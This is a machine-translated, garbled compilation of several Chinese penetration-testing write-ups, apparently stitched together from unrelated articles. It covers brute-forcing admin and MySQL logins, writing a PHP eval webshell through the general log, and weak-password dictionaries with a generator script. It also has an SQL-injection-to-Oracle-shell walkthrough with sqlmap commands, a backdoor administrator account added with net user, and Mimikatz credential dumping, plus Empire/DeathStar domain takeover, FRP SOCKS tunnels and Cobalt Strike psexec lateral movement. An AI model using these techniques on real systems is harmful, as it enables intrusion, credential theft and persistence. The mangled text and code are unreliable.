その後、詳細ページがポップアップし、変更できます。ここでは、メンバーシップレベルを変更して、普通のメンバーからVIPに自分自身を変更してください。管理者はどのようにして普通のメンバーになることができますか?1049983-20220119230136738-1892952133.png要約1。ターゲットサイト管理者の背景に管理者アカウントを入力します。パスワードが任意の場合、パスワードが表示され、管理アカウントが存在します。 2。BPの侵入者機能を通じて管理者アカウントを爆破します。パスワード辞書では、Fuzzdicts Dictionary(https://github.com/thekingofduck/fuzzdicts)を使用しています。 3。バックグラウンドを入力した後、画像のアップロードがアップロードされましたが、アップロードサイトのターゲットサイトはホワイトリストから制限されており、文をアップロードできません。 4。クラウドクリケットを通じて、ターゲットサイトはCMSフィンガープリントで検出され、ThinkCMシステムであることがわかりました。いくつかの歴史的な脆弱性をテストしましたが、実りはありませんでした。 16.情報検出は、検出のためにGoogle Chromeプラグインセンサーを介して実行され、PHPINFO.PHPが見つかりました。ウェブサイトの絶対パスはここに表示されます。 17. NAMPを介してターゲットサイトのIPをスキャンし、ポート3306 18があることを見つけます。ターゲットサイトのポート3306は、超弱いパスワードツールを通して爆破され、パスワードは最終的に正常に爆破されました。 19. NAVICATを介してターゲットサイトMySQLにリモートで接続し、「%一般%」のようなSQLコマンド端子表示変数でログログを介して文を書きます。ログステータスを表示するグローバルgeneral_log='on' on 'on on on on on log reading and writing set set set set set set set set set set set set set set xxx.php'ログパス選択'?php eval($ _ post [' cmd ']);' xxx.php20にログを書き込みます。最後に、アリの剣を通して正常に接続します。出典:https://xz.aliyun.com/t/10460

###弱いパスワードの定義

弱いパスワードには、厳格で正確な定義はありません。通常、他の人が簡単に推測できるパスワード(あなたをよく知っているかもしれない)またはひび割れのツールによってひび割れていると考えられています。弱いパスワードには、「123」、「ABC」などの単純な数字と文字のみを含むパスワードを参照してください。そのようなパスワードは他のパスワードが簡単に割れてしまうため、ユーザーのインターネットアカウントを他の人に制御するため、ユーザーはそれらを使用することをお勧めしません。

###弱いパスワードの原因

これは個人的な習慣と意識に関連するはずです。パスワードの忘れを避けるために、非常に簡単に覚えやすいパスワードを使用するか、システムのデフォルトパスワードなどを直接使用します。セキュリティ認識は十分ではありません。私はいつも誰も私の弱いパスワードを推測しないと思います。私は十分なセキュリティ認識を持っていません。私はいつも誰も私の弱いパスワードを推測しないと思います。

###弱いパスワードの危険

システムの弱いパスワードを介して、システム制御の許可はハッカーによって直接取得できます。

###廃棄物パスワードソリューション

強制すべての管理システムアカウントのパスワード強度は、特定のレベルに達する必要があります。 Simple Adminや123456などの弱いパスワードを使用することはできません。パスワードを複雑なパスワードに変更して暗号化して保存します。パスワードには、上限と小文字と小文字の文字、データ、特別な記号が含まれ、パスワードの長さは8桁以上であることをお勧めします。ウェブサイトにデータリークの脆弱性がある場合(SQLインジェクションの脆弱性など)、脆弱性を修正する必要があります。

通常、パスワードを設定すると、次の原則に従います。

(1)空のパスワードやシステムのデフォルトパスワードを使用しないでください。これらのパスワードはよく知られており、典型的な弱いパスワードです。

(2)パスワードの長さは8文字以上です。

(3)パスワードは、連続文字(たとえば:AAAAAAAA)または特定の文字の組み合わせ(たとえば:TZF.TZF。)であってはなりません。

(4)パスワードは、次の4つのタイプの文字、大文字(A-Z)、小文字(A-Z)、数字(0-9)、特殊文字の組み合わせである必要があります。クラスの各文字には、少なくとも1つが含まれています。特定の文字に1つしか含まれていない場合、文字は最初のキャラクターでもテールキャラクターであってはなりません。

(5)パスワードには、生年月日、記念日の日付、ログイン名、電子メールアドレスなど、自分に関する関連情報、および辞書の単語が含まれてはなりません。

(6)パスワードは、特定の文字を数字またはシンボルに置き換える単語であってはなりません。

(7)パスワードは覚えやすく、すぐに入力できる必要があり、他の人があなたの後ろからの入力を簡単に見ることができないようにします。

(8)未発見の侵入者がパスワードの使用を継続するのを防ぐために、少なくとも90日間はパスワードを1回変更します。

### Wulnerパスワード分類

公共の弱いパスワード

パブリックの弱いパスワードは一般的なパスワードです。公共の弱いパスワードは、多数のパスワードデータ統計に基づいて高頻度で表示される弱いパスワードです。この点で、パスワード統計が弱いため、多くの結果があります。ここでは、より高い頻度でいくつかの公共の弱いパスワードをリストします:

(トップ100):

123456 A123456 123456a 5201314 111111Woaini1314 QQ123456 123123 000000 1QAZ2WSX 1Q2W3E4R

QWE123 7758521 123QWE A123123 123456AA Woaini520 Woaini 100200 1314520 Woaini123 123321

Q123456 123456789 123456789A 5211314 ASD123 A123456789 Z123456 ASD123456 A5201314 AA123456 AA123456

Zhang123 APTX4869 123123A 1Q2W3E4R5T 1QAZXSW2 5201314A 1Q2W3E AINI1314 31415926 Q1W2E3R4

123456QQ Woaini521 1234QWER A111111520520 ILOVEYOU ABC123 110110 11111A 123456ABC W123456

7758258 123QWEASD 159753 QWER1234 A000000 QQ123123 ZXC123 123654 ABC123456 123456Q QQ5201314

12345678 00000A 456852 AS123456 1314521 112233 521521 QAZWSX123 ZXC123456 ABCD1234 ASDASD

666666 love1314 qaz123 aaa123 q1w2e3 aaaaaa a123321 123000 1111111111112qwaszx5845201314

S123456 NIHAO123 CAONIMA123 ZXCVBNM123 WANG123 159357 1A2B3C4D ASDASD123 584520 753951 147258

1123581321 110120 QQ1314520

ウェブサイトの背景については、一般的に次のようになります。

管理者

マネージャー

admin123

admin888

Admin666

具体的には、バックグラウンドタイプが異なると、パスワードが弱いとは異なります。

データベース(phpmyadmin):アカウント:root、password:root、root123、123456

Tomcat:アカウント番号:admin、tomcat、Manager、Password:admin、tomcat、admin123、123456、マネージャー

jboss:アカウント番号:管理者、jboss、マネージャー、パスワード:管理者、jboss、マネージャー、123456

weblogic:account:weblogic、admin、manager、password:weblogic、admin、manager、123456

条件型

個人の弱いパスワードは、多くの場合、その人の個人情報(名前、誕生日、携帯電話番号、特別なニックネーム、趣味、ソーシャルソフトウェアアカウント、一般的に使用されているユーザー名、電子メール.)、関係メンバー(家族、ボーイフレンド、ガールフレンド.)、環境(ライセンスプレート番号、会社名、会社の設立時間または場所などの会社情報、会社ドメインなど)、特別な指定キャラクターなどに関連付けられています。ここでは、いくつかの一般的な組み合わせもリストします。このパスワード推測Webサイトを使用して、条件付き弱いパスワード辞書を生成できます。

yh1c2ylettg9051.jpg

たとえば、私たちが人を知っている場合、彼の情報は次のとおりです。

名前:Wang Xiaoerメール:412391882@qq.com

英語名:Twowang携帯電話番号:110

次に、このウェブサイトにこの情報を入力して、以下の「送信」をクリックします

ooyhh1zdvp19052.jpg

次に、この可能性の高いパスワードを取得します。

i3tzblpmmma9053.jpg

また、リマインダー:パスワードの組み合わせに大文字が含まれている必要がある場合、中国のパスワード設定習慣に従って、83%が大文字を入れ、唯一の既存の大文字を最初に置きます。

###廃棄物パスワードの実現

たとえば、このようなコードを使用して、特定のシステムの背景をシミュレートする弱いパスワードの脆弱性を実証します。

?php

関数showform(){?

form method='post' action='。/lesspass.php'

入力型='テキスト' name='un' /

入力型='パスワード' name='pw' /

入力タイプ='送信'値='ログイン' /

/form?php

}

$ un=@$ _ post ['un'];

$ pw=@$ _ post ['pw'];

if($ un=='' $ pw=='')

showform();

else if($ un=='admin' $ pw=='admin888')

echo 'ログインに正常に';

それ以外{

showform();

エコー「ログインが失敗した」;

}

展開後、lesspass.phpとして保存し、http://LocalHost/lessPass.phpにアクセスします。

次に、実際のパスワードを知らないふりをして試してみます。管理者アカウントの場合、ユーザー名は一般に管理者であり、パスワードはAdmin、Admin123、Admin888、123456、123Abcadminなどです。

nogfizot5hl9054.jpg

その後、AdminおよびAdmin123、または失敗します。最後に、私はAdminとAdmin888を試しましたが、成功しました。

pve4yyhdrnr9055.jpg

まず、ブラウザとバーププロキシを構成し、バープの傍受モードをオンにする必要があります。その後、lesspass.phpページに何かを入力して送信します。あなたはげっぷで傍受されたパケットを見ることができます:

vj2cfhndsv19056.jpg

パスワードを爆発させるには、その侵入者機能を使用し、右クリックしてメニューをポップアップし、「侵入者への送信」を選択する必要があります。

j14khjkbbqr9057.jpg

次に、侵入者のタブページにアクセスし、Position subtabページでパケットを見ることができます。

dcvzq1l11hf9058.jpg

すべてのマークをクリアするには、右側のクリアボタンをクリックする必要があります。パスワードをクラックする必要があるため、パスワードパラメーター値を選択し、[追加]をクリックします。

2jhzyt0vt239059.jpg

その後、その横の[ペイロード]タブに切り替え、中央の[読み込み]ボタンをクリックして、辞書をロードします。以前のTOP100.TXTを選択します。

kip44yqmjcz9060.jpg

Admin888を挿入することを忘れないでください。下の入力ボックスにadmin888を入力し、[次の追加]をクリックします。

o5k1i3sxyet9061.jpg

右上隅の攻撃を開始するには、爆発を開始します(古いバージョンは侵入者です - 攻撃メニューバーを開始)、結果のリストが表示されます。

11ahat3f3zd9062.jpg

cbbspleilsj9063.jpg

長さのヘッダーをクリックして、長さで並べ替えます。長さとは大きく異なるアイテムがあることがわかり、正しい結果です。

vl0c5rbxx4y9064.jpg

ダブルクリックPKAV HTTP Fuzzer 1.5.6.exeを開く。さらに、ディレクトリにはユーザーマニュアル、PKAV HTTP FuzzerユーザーマニュアルVer 1.0.pdfもあります。このマニュアルを参照できます。このチュートリアルでは、使用される機能についてのみ説明します

そのメインインターフェイスは次のようなものです。

dp0kqvd5mp59065.jpg

左側には「リクエストパッケージ」入力ボックスがあります。

httpパケット(つまり、burpのプロキシ -

インターセプトタブにあるもの)コピーします。次に、PWの位置で管理者を選択し、以下の「マークの追加」をクリックします。

lwf2ts2t4or9066.jpg

右側の「リプレイ設定」を見てみましょう。 「リプレイモード」と「バリエーション割り当て」を変更する必要はありません。下の[インポート]ボタンをクリックし、以前のTOP100.TXTを選択します。

ml3cqbfo0c09067.jpg

次に、[追加]ボタンの右側にある入力ボックスにadmin888を入力し、[追加]をクリックします。

5hrhufr5mqj9068.jpg

次に、下の[銀行家]タブをクリックし、新しいインターフェイスで「開始」をクリックします。

rpb0mfapxgd9069.jpg

次に、「長さ」ヘッダーをクリックして、長さで並べ替えます。

qcxljztl1mv9070.jpg

パスワードがadmin888で長さが6であり、他の値が他の値である場合にのみ、正しいパスワードであることがわかります。

###弱いパスワードの脆弱性の説明

通常、他の人が容易に推測するパスワード(彼らはあなたをよく知っているかもしれません)またはひび割れのツールによってひび割れたパスワードは弱いパスワードであると考えられています。一般的な弱いパスワードは次のとおりです。

1.数字または文字が連続または混合されているように配置されているため、キーボード文字は連続して配置されます(123456、ABCDEF、123ABC、QWERTY、1QAZ2WSXなど)。

2。誕生日、名前+誕生日(ソーシャルワーカーにひびを入れるのはとても簡単です)

3。フレーズパスワード(5201314、Woaini1314など)

### wrailパスワード生成

パスワード生成の弱いことに関して、関連するツールまたはスクリプトを使用できます。インターネットには多くのツールがあり、自分で検索してダウンロードできます。ここで私は自分自身を書いた小さなPythonスクリプトを提供します。必要な場合は、自分で変更してください。参照のみ:

# - * - coding: utf-8-* -

weak_password=['000000'、 '0000000'、 '111111'、 '11111111'、 '112233'、 '123123'、 '123321'、 '123456'、 '12345678' '' 、 '87654321'、 '123456789'、 '987654321'、 '1234567890'、 '0123456789'、 '654321'、 '666666'、 '888888'、 '66888'、 '6 6668888 '、' abcdef '、' 147258369 '、' abcabc '、' abc123 '、' a1b2c3 '、' aaa111 '、' 123qwe '、' qweasd '、' admin '、' root '、' pass123 '、' p@ssword '、' password '、' passwd '、' iloveyou '、' woaini '、' 5201314 '、' qq123456 '、' taobao '、' wang1234 ']]

foreign_weak_password=['password'、 '123456'、 '12345678'、 'qwerty'、 'abc123'、 'monkey'、 '1234567'、 'letmein '、' Trustno1 '、' Dragon '、' Baseball '、' 111111 '、' iloveyou '、' Master '、' Sunshine '、' Ashley '、' Bailey '、' passw0rd '、' Shadow '、' 123123 '、' 654321 '、' Superman '、' qazwsx '、' Michael '、' Football '、' qwerty '、' welcome '、' holly '、' happy '、' anty '、' abcabcabc '、' commintorator '、' commintorator '、' commintorator '、' commintorator

name=['xiaoming'、 'xiaoming'、 'xiaoming'、 'xiao_ming'、 'xiaom'、 'xming'、 'xming'、 'xming'、 'xl'、 'xm']]

Birth=['1995'、 '_ 1995'、 '09'、 '9'、 '23'、 '199509'、 '_ 950923'、 '_ 199509'、 '9509'、 '0923'、 '199509'、 '0923'、 '19950925']

SpecialNum=['1314'、 '520'、 '000'、 '111'、 '123'、 '168'、 '1234'、 '123456'、 '5201314'、 '888'、 '666'、 '123123']

id=['mingxiaozi'、 'xiaolifidao']]

companyinfo=['jingdong'、 'jongdong'、 'jd'、 'jd']]

#自分で詳細を説明してください

f=open( 'weakpasswords.txt'、 'w')

in beaw_password:の場合

f.write(a+'\ n')

forience_weak_password:のbの場合

f.write(b+'\ n')

name:のCの場合

出生:のDの場合

f.write(c+d+'\ n')

f.write(d+c+'\ n')

name:のeの場合

SpecialNum:のFの場合

f.write(e+f+'\ n')

f.write(f+e+'\ n')

ID:のI1の場合

出生:のB1の場合

f.write(i1+b1+'\ n')

f.write(b1+i1+'\ n')

ID:のI2の場合

SpecialNum:のS1の場合

f.write(i2+s1+'\ n')

f.write(s1+i2+'\ n')

n1 n1 n1:の場合

出生:のB1の場合

s2 inの場合

SpecialNum:

f.write(n1+s2+b1+'\ n')

f.write(s2+n1+b1+'\ n')

f.write(s2+b1+n1+'\ n')

#自分でより多くの組み合わせ

###弱いパスワードのヒント

1。特定のルールに従って、簡単に読む、または私たちが若い頃に最初に接触した数字または文字の一部を読みます。 123456、123ABC、ABC123、123456ABCDEF!@#これらの弱いパスワードはローラーキーボードとも呼ばれると冗談を言う人もいます。たとえば、admin!@#は単純に見えませんが、実際にローラーキーボードであり、パスワードが弱いです。実際の侵入管理者でこの弱いパスワードに何度も遭遇しました!@#防衛戦略:企業従業員にセキュリティトレーニングを提供して、セキュリティ認識を向上させます。セキュリティには運がありません。キーボードタイプのパスワードを使用すると、困難なパスワードを使用してみてください。

2。パスワードの漏れにつながる、または簡単に推測される可能性のある意図しない情報漏れは、白人憎しみの想像力に疑問を抱かないでください。彼らがCTFを行うとき、彼らは大きなアイデアを持っています。中国のサブサイトの弱いパスワード:lujiaji(voidance著者:blast)https://www.secpulse.com/archives/14056.htmla brief reak、このパスワードは典型的な弱いパスワードではありません。推測のみに依存している場合、成功することができない場合があります。しかし、ポイントは、あるニュースでは、ニュース著者のルジアジが表示され、管理バックエンドアカウントのパスワードがルジアジであるということです。したがって、壊れている理由は2つあります。一部またはすべてのユーザー名が一般に公開されています。管理者:Lujiajiのユーザー名とパスワードは同じです。 jd.comからのいくつかの機密情報は、Github(脆弱性著者:匿名)https://www.secpulse.com/archives/22828.htmlに漏れていました。もう1つのことは、パスワード自体が弱くないことですが、開発者は自分のウェブサイトまたはシステムがあまりにも好きで、ユーザー名またはパスワードが推測可能になることです。たとえば、Webサイトがwww.p1a2s3s4word.comの場合、開発者または管理者は、システムのユーザー名をWebサイトドメイン名または会社名に設定できます。例:P1A2S3S4WORD、P1A2S3S4WORD123 XIAOMIイントラネットローミングノート(弱いパスワードはさまざまな内部システムを漏らします):XIAOMI11(脆弱性著者:臨時労働者)

対処戦略:(1)。ログイン名とユーザー名を区別する必要があります

(2)。パスワードがユーザー名やまったく同じ状況を含めることを防ぐために、効果的なパスワードポリシーを実装します。

(3)githubは暗黙のセキュリティの主要な源であることを忘れないでください

(4)。ビジネス名やドメイン名からパスワード情報を簡単に取得できるパスワードを使用しないでください。

3.パスワードの強度は信頼できますが、多数のシステムが同じパスワードを使用しています

0x01弱いパスワード

特定のサイトの情報を収集するプロセス中に、サブドメイン名をスキャンして古いシステムにスキャンします。

1629098949_611a13c5e2023f68aa123.png!small?1629098952907

これが2014年の古い駅であることを見たとき、何か間違ったものがあるに違いありません!

毎日使用してげっぷブラストを試してみてくださいが、破裂しませんでした

しかし、すぐに試してみると、良い男は123/123にシステムに入り、彼は運に満ちていました。

(高強度コーディング)

1629099157_611a149547fda2b8e9964.png!small?1629099159494

ここでは、「エディター」担当者の許可であり、アップロードなどのバックエンド管理機能はありません。システムのさまざまな機能を辛抱強く実行することができます。

0x02 SQL注入

システムを入力して反転させたため、機密情報漏れはありませんでしたが、SQL注入は人事情報が調査されたインターフェースで見つかりました(Xray Passiveスキャンでスキャン)

http://host.com/xxx/control/searchmenhuninfo?content=123

現時点では、手動で検証する場合は、バックグラウンドクッキーを必要とせずにインターフェイスに直接アクセスできることがわかります。これは、不正アクセスの脆弱性に相当します。

次に、このsqlmapシャトル、 - クッキーパラメーターは必要ありません

python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' - current -db

1629100685_611a1a8d4ca7c7edef78d.png!small?1629100687369

ライブラリ名はこちらで、これがOracleデータベースであることもわかります。シェルで試してみる予定です。

ただし、私の毎日の浸透プロセスでは、Oracleデータベースは一般的ではありません。 SQLMapの-S-ShellパラメーターはまだOracleデータベースをサポートしていないため、できるだけ早く学習して販売することができます。

0x03 GETSHELL

最初にこの記事を参照してくださいOracle Injection -CommandExecution Shell Bounce

1629101572_611a1e0406da1334227dd.png!small?1629101573386

Oracleの次のバージョンは、注入を発見した後に実行できます。

次に、SQLMAPを使用してOracleバージョンを表示します

python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' -b

1629101914_611a1f5a2cdcceb802e83.png!small?1629101915711

コマンドで実行できるバージョンに沿っているようです!

別の長い学習の後、私はGitHubの男がOracleshell Oracle Databaseコマンドの実行に統合したツールを発見しました

ツールのスクリーンショットは次のとおりです

1629102386_611a2132b089bb783a905.png!small?1629102388399

コマンドを実行しようとするために、データベースSID、ユーザー名、およびパスワードを知る必要があることもわかります。

その後、SQLMAPを使用して既知の情報を拡大し続けます。

データベースの権限を表示-IS-DBA

1629102568_611a21e8e65e1527c6a5a.png!small?1629102570531

データベースIP、SIDを表示します

ここでは、SQLMapの-SQL-Shellモードを入力し、SQLステートメントを使用してクエリを使用します

クエリSID:v $ instanceからinstance_nameを選択します

現在のIPをクエリします:dualからsys_context( 'userenv'、 'ip_address')を選択します

1629102806_611a22d69a7674a91543f.png!small?1629102808241

すべてのデータベースアカウントとパスワードをブラストします

SQLMAPの-PassWordsパラメーターを使用して、データベースのユーザー名と対応するパスワードを実行します

長い間待った後、結果が最終的に得られました(架空のデータはここに記載されています)

データベース管理システムユーザーパスワードハッシュ:

[*]匿名[1] :

パスワードhash:匿名

[*] HR [1] :

パスワードHASH: 6399F3B38EDF3288

[*] Sys [1] :

パスワードHASH: 4DE42795E66117AE

[*] Sysman [1] :

パスワードHASH: B607EEBB3A2D36D0

[*]システム[1] :

パスワードHASH: 8877FF8306EF558B

クリアテキストpassword: sys

一部のユーザー名は対応するハッシュのみを取得することがわかりますが、ユーザー名システムの1つはPlantextパスワードから正常に尽きました。

Oracleが一般的に使用されるポートをクエリします

Oracleは本当にそれに慣れていないので、Baiduはポートをチェックします:

クエリは、サーバーのデフォルトポート番号が通常389であり、クライアントのデフォルトポート番号は通常1521であることがわかりました。

わかりました!これで、IP、ポート、SID、ユーザー名(システム)、およびパスワード(SYS)ができ、ツールを使用して直接接続できます。

1629103630_611a260eddcad3e1ff238.png!small?1629103632329

ではごきげんよう!取得したシステム許可!

0x04さらに害を証明します

ユーザーを作成してみてください

ネットユーザー名pwd /add

ネットローカルグループ管理者名/追加

リモートデスクトップRDP接続名/PWD

1629104189_611a283d93beace7f71e7.png!small?1629104197524

接続は成功しました!

Mimikatzをアップロードして、管理者のPlantextパスワードをつかみます

特権:Debug

sekurlsa:3360logonpasswords

1629104190_611a283e48986590be6e9.png!small?1629104197526

最後に、管理者アカウントRDPに正常にログインしました

1629104196_611a284403ee7334b6697.png!small?1629104197528

この時点で、浸透は終了します。

0x05要約

弱いパスワード-SQLインジェクションゲットシェルゲット管理者権限

1.サブドメイン名スキャンツールを使用してターゲットドメイン名をスキャンし、人事管理システムがあることを見つけます

2。123/123の弱いパスワードを手動でテストしてシステムを入力します

3.バックグラウンドクエリ担当者にSQLインジェクションの脆弱性があります(Xrayパッシブスキャンでスキャン)

4.現在のデータベースをSQLMAPを介してOracleに実行します

python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' - current -db

5。SQLMAPの-OS-ShellパラメーターはOracleデータベースをサポートしていないため、sqlを介して機密情報のみを見つけることができます。

6. Oracleバージョンをクエリして、バージョンが10.2.1.0であることがわかります(Oracleによってコマンドを実行できるバージョンは8.1.7.4、9.2.01-9.2.0.7、10.1.0.2-10.1.0.4、10.2.0.1-10.2.0.2)

python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' -b

7。DBAアクセス許可であるデータベース権限をクエリします

python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' -is -dba

8。使用してデータベースIPとSIDを見つけて表示するには

v $ instance //query sidからinstance_nameを選択します

dual //現在のIPをクエリからsys_context( 'userenv'、 'ip_address')を選択します

9。パスワードダンプはSQLMAPを介して実行され、ユーザー名システムはPlantextパスワードを正常に実行します

python sqlmap.py -u 'http://host.com/xxx/control/searchmenhuninfo?content=123' - passwords

10。同時に、データベースサーバーIPがNMAPを介してスキャンされ、1521ポートが開かれました。

11. Oracleshellツールを介してデータベースにリモート接続し、システムコマンドを実行する

12.コマンドにユーザー名とパスワードを追加し、管理者グループに追加して、レジストリを介してリモートデスクトップを有効にします。

ネットユーザー名pwd /add

ネットローカルグループ管理者名/追加

13. Mimikatzを介してシステムパスワードを読みます

特権:Debug

sekurlsa:3360logonpasswords

オリジナルリンク:https://www.freebuf.com/articles/web/284911.html

Empireを使用して、ドメイン管理者の翻訳を自動的に取得します:Backlion

序文

sxj2zxbbrly9188.gif

帝国とブラッドハウンドが使用されたため、ADを貫通することにより、イントラネット環境の95%を取得できます。著者は、自分が同じ繰り返しのことを何度も何度もしていることに気づきます。これが起こったら、自動化を考慮する必要があります。結局のところ、ドメイン管理者を自動的に取得する自動化されたスクリプトは、作業効率を向上させる最良の方法です。さらに、EmpireはRestful APIへのインターフェイスを起動したばかりで、サードパーティのスクリプトを簡単に作成して対話することができます。

プロジェクトの目的と実装

最初は、著者が元々望んでいたのは、Bloodhoundsを介して情報を出力し、それを解析し、それを帝国に入力し、プロセスベースにすることでした。ただし、Bloodhoundはドメイン特権エスカレーション(SYSVOLのGPPパスワードなど)を使用しません。したがって、著者は、Bloodhoundの「攻撃テンプレート」のより柔軟なバージョンを望んでいます。さらに、EmpireにはBloodhoundのコア機能のほとんどがあり、Bloodhoundのすべての機能が含まれています。著者は、Empireの使用を主張し、Restful APIを使用してすべてを自動化します。これにより、モジュールの出力を無料で解析し、全体的なロジックとユーザーのフィードバックをより多くの出力制御を可能にします。

設計フローチャート

以下は、デススタープロジェクトの設計プロセスを示しています。

huze0pkjs5h9189.png

環境構成

DeathStar -https://github.com/byt3bl33d3r/deathstar

Empire -https://github.com/empireproject/empire

1. Empireをダウンロードして、をインストールして実行します

git clone https://github.com/empireproject/empire

CD帝国/セットアップ./install.sh CD .

#エンパイアコンソールとRESTFUL APIを開始します

Python Empire - Rest -Username Backlion - Password Password@123

2. EmpierのコンソールとRestful APIサービスを開始し、DeathStarを開始して実行します。

git clone https://github.com/byt3bl33d3r/deathstar

#デススターはPython3で書かれています

PIP3インストール-R要件。txt

#empireのRESTFULAPIを開始したユーザー名とパスワードを提供します

./deathstar.py -u backlion -pパスワード@123

3.すべてがうまくいけば、DeathStarはHTTPリスナーを作成し、「エージェントのポーリング」ステータスを見る必要があります。これは、帝国のREST FUL APIインターフェイスの検証に合格し、DeathStarが最初のプロキシを聞いていることを意味します。ここで必要なのは、プロキシでドメインホストに参加することだけです。今必要なのは、マシン上のプロキシに接続するドメインホストだけです。これを行う方法は、この記事の範囲を超えています。著者は、CrackMapexecを使用することをお勧めします。

ビデオデモ

最初のエージェントが取得されると、DeathStarが引き継ぎ、自動電源の増加を開始します。以下は、2つの異なる状況でドメイン管理者を獲得するためのデススタービデオです

1。最初のビデオでは、SYSVOL脆弱性のGPPパスワードを使用してドメイン権限を高め、復号化された資格情報を使用してGPOが適用されるマシンに水平に拡張し、最終的にドメイン管理者がログインしているコンピューターにログオンし、その後実行プロセスを実行しているプロセスを実行しているプロセスを排出します。

https://www.youtube.com/embed/ptpg_9igxb0?ecver=2

2。実際にドメイン管理者の資格情報を取得する2番目のビデオは、Mimikatzを使用することとローカル管理者を活用することの関係です。

https://www.youtube.com/embed/1zckc8fxsz?ecver=2

要約

DeathStarは、既存のオープンソースツールセットを使用して、アクティブディレクトリ環境でドメイン管理者権限を自動的に取得する方法を示します。

序文

この記事は、コミュニケーションと学習のみです。この記事によって提供された情報の普及と利用によって引き起こされる直接的または間接的な結果と損失は、ユーザー自身の責任であり、記事の著者はこれに対して一切責任を負いません。

侵入テストは、情報収集の3つの段階に分類できます。関連するすべての資産情報を可能な限り収集します。テストの範囲を決定します。脆弱性の発見。収集された資産のさらなる脆弱性の検出と搾取。発見された脆弱性のさらなる搾取と搾取の程度。 1。JS图片のAPIインターフェイス

2。マルチポートサイト图片3。カスタマーサービスシステムフィッシングガイダンスなど。图片4。ポイントシステムは、脆弱なサイドステーション图片5をターゲットにします。リチャージインターフェイス图片6。デモサイトのソースコード分析を見つけるソースコードホワイトボックス分析图片 图片

图片

7. BCバックエンドは、JSリソースURL、サブドメインなど、および一般的な小さなサイトを見つけるためのその他の方法にルート化されています。主に最初のドメイン、AD AG ADMIN 123ADMIN HTなどを追加します。

序文

イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。

以下は、「実際の戦闘におけるイントラネットの浸透の道」のマインドマップの自己サマリーです。

1049983-20240512134201496-1780382476.png

ターゲットアウトバウンド(ソックスプロキシ)

これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。

FRP(Socks5)FRPサーバー構成ファイル:

1 | [一般]

2 | bind_port=8080frpクライアント構成ファイル:

1 | [一般]

2 | server_addr=xx.xx.xx.xx

3 | server_port=8080

4 | #Serviceポートは一般的なWebポートを使用します

5 |

6 | [Socks5]

7 | type=tcp

8 | remote_port=8088

9 |プラグイン=socks5

10 | use_encryption=true

11 | use_compression=true

12 | #Socks5パスワード

13 | #plugin_user=superman

14 | #plugin_passwd=xpo2mcwe6nj3暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。

use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]

use_compression=True Enable Compression [送信されたネットワークトラフィックを効果的に削減し、トラフィック転送速度を高速化するように伝達コンテンツを伝達しますが、追加のCPUリソースを消費します]

use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連のフォルダーに配置されて非表示になります。

1049983-20240512134202733-1307124500.png 1049983-20240512134203670-2094206611.png 1049983-20240512134204255-725553901.png暗号化圧縮の比較これは、暗号化と圧縮関数を使用しないFRPクライアント構成ファイルです。 Metasploitは、Socksプロキシを使用して、MS17_010から送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。

1049983-20240512134205015-817056185.png暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を避けて、送信されたデータパケットを区別できません。

1049983-20240512134205882-1270973653.pngコバルトストライク(Socks4a)制御されたターゲットマシンのビーコンに、ソックスエージェントを有効にします。

1 |ビーコンソックス1024 #portは、VPSの実際の状況に応じて設定されています

1049983-20240512134206742-1303778529.pngプロキシピボットを表示メニューバーで、コピープロキシはMetaSploitに接続されているか、関連するセキュリティツールにSocks4aを直接ハングします。

1049983-20240512134207715-2015895728.pngは、オンラインマシンでは利用できません。これはリンクリンクです。メインリンク(ネットワークビーコン)が切断されている限り、それらはすべて切断されます!

SMBビーコン公式紹介SMBビーコン:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用しています。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。

SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。

1049983-20240512134208849-655736604.png操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。

1049983-20240512134209667-901525554.png 1049983-20240512134210353-12480323.pngは、メインビーコンのリンクホストリンクまたはリンクホストをリンクすることと切断できます。

1 |ビーコンリンク192.168.144.155

2 | Beaccon Unlink 192.168.144.155 1049983-20240512134211037-132998840.pngLinkリスナーオンラインホストでリスナーを作成します。

1049983-20240512134211928-517817209.pngこのタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。

1049983-20240512134212756-942516291.png作成したばかりのリスナーを選択します。

1049983-20240512134213577-342299124.png現在のオンラインターゲットマシンに生成されたペイロードをアップロードし、PSEXEC.EXEツールをこちらを使用してください。 (Cobalstrike自体は十分に強力ではありません)1049983-20240512134214378-27620203.pngビーコンのPSEXECツールを使用して、ネットワークを離れない、自動的に実行し、オンラインになるターゲットマシンにペイロードをアップロードします。

1 |ビーコンシェルC:WINDOWSTEMPPSEXEC.EXE -ACCEPTEULA \ 192.168.144.155,192.168.144.196 -U管理者-P管理

